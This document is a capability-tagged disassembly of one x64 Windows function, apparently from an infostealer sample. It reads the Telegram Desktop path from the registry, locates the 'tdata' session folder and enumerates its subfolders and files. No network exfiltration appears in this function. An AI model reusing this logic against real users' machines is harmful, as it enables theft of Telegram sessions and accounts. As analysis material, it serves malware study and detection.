Function at 0x14000ccc4
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov r13, rcx
mov r14d, 0xff
mov ecx, r14d
call fcn.14000f45c
mov rsi, rax
lea rax, [rbp + 0x478]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SoftwareClasses_tdesktop.tg_shellopencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor r12d, r12d
test eax, eax
jne 0x14000d23c
mov dword [rbp + 0x470], 0x104
lea rax, [rbp + 0x470]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14003f348]
mov rcx, qword [rbp + 0x478]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov qword [rbp - 0x70], r12
mov dword [rbp - 0x68], r12d
mov edi, r12d
mov rbx, rsi
cmp byte [rbx], 0x22
jne 0x14000cd77
inc edi
jmp 0x14000cd87
cmp edi, 2
je 0x14000cd95
mov dl, byte [rbx]
lea rcx, [rbp - 0x70]
call fcn.14000c360
inc rbx
mov rax, rbx
sub rax, rsi
cmp rax, r14
jl 0x14000cd6e
lea r8, str._telegram.exe
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.14000c430
nop
lea r8, str.Telegram.exe
lea rdx, [rbp - 0x40]
mov rcx, rax
call fcn.14000c430
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1400014b4
nop
mov rcx, qword [rsp + 0x50]
call fcn.14000f0f0
lea r8, str._tdata
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x70]
call fcn.1400013a8
nop
mov r8, r14
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp + 0x220]
call fcn.14001577c
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x50], r12
mov esi, 7
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x60], r12w
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x60]
call fcn.1400067f4
nop
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000d211
test al, 0x10
je 0x14000d211
mov qword [rsp + 0x70], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x70]
call fcn.140006870
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x60]
call fcn.140001c18
mov eax, dword [rsp + 0x68]
test eax, eax
jle 0x14000cfc2
mov rbx, qword [rsp + 0x60]
mov edi, eax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x468], rax
mov qword [rsp + 0x70], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], rsi
lea rdx, str.working
lea rcx, [rsp + 0x70]
call fcn.1400067f4
nop
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140006870
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140002128
test al, al
jne 0x14000cfb4
mov dword [rbp + 0x468], r12d
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140006870
lea rdx, [rbp + 0x468]
lea rcx, [rsp + 0x30]
call fcn.140001e14
mov ecx, dword [rbp + 0x468]
test ecx, ecx
je 0x14000cfb4
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], ecx
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
mov rcx, r13
call fcn.14000747c
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140006870
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.14000c524
nop
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rdx, qword [rsp + 0x70]
mov r8, r14
lea rcx, [rbp + 0x20]
call fcn.140015e3c
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x30]
call fcn.1400010d4
lea rcx, [r13 + 0x10]
mov rdx, rax
call fcn.14000cb28
nop
lea rcx, [rsp + 0x70]
call fcn.140006790
add rbx, 0x20
sub rdi, 1
jne 0x14000ce86
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x30]
call fcn.140006870
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140001f18
mov edi, r12d
mov esi, dword [rsp + 0x58]
test esi, esi
jle 0x14000d211
mov r15, qword [rsp + 0x50]
movsxd r14, edi
shl r14, 5
lea rdx, [r15 + r14]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea rcx, [rsp + 0x30]
call fcn.140006870
lea rdx, [rsp + 0x30]
lea rcx, [rbp]
call fcn.14000c524
mov rbx, qword [rax + 0x10]
lea rcx, [rbp]
call fcn.140006790
cmp rbx, 0xf
jb 0x14000d04b
test esi, esi
jg 0x14000d057
inc edi
cmp edi, esi
jge 0x14000d211
jmp 0x14000d002
lea rsi, [r14 + r15]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.140006870
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140001c18
mov eax, dword [rsp + 0x58]
test eax, eax
jle 0x14000d179
mov r15, qword [rsp + 0x50]
mov rbx, r15
mov edi, eax
mov dword [rbp + 0x468], r12d
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140006870
lea rdx, [rbp + 0x468]
lea rcx, [rsp + 0x30]
call fcn.140001e14
mov ecx, dword [rbp + 0x468]
test ecx, ecx
je 0x14000d16b
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], ecx
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [r13 + 0x20]
lea rdx, [rbp - 0x30]
call fcn.14000747c
lea rdx, [r14 + r15]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea rcx, [rsp + 0x30]
call fcn.140006870
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.14000c524
nop
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 8
cmovae rdx, qword [rbp - 0x20]
mov r8d, 0xff
lea rcx, [rbp + 0x20]
call fcn.140015e3c
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x70]
call fcn.1400010d4
lea rcx, [r13 + 0x30]
mov rdx, rax
call fcn.14000cb28
nop
lea rcx, [rbp - 0x20]
call fcn.140006790
add rbx, 0x20
sub rdi, 1
jne 0x14000d09c
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.140006870
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.14000c524
lea rcx, [rbp - 0x20]
call fcn.140006790
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.140006870
lea rdx, [rsp + 0x30]
lea rcx, [rbp]
call fcn.14000c524
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 8
cmovae rdx, qword [rbp]
mov r8d, 0xff
lea rcx, [rbp + 0x120]
call fcn.140015e3c
lea rcx, [r13 + 0x40]
lea rdx, [rbp + 0x120]
call fcn.14000154c
nop
lea rcx, [rbp]
call fcn.140006790
mov rcx, qword [rbp + 0x478]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x60]
call fcn.140006790
nop
mov rcx, qword [rbp - 0x40]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x70]
call fcn.14000f0f0
mov rbx, qword [rsp + 0x560]
add rsp, 0x520
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret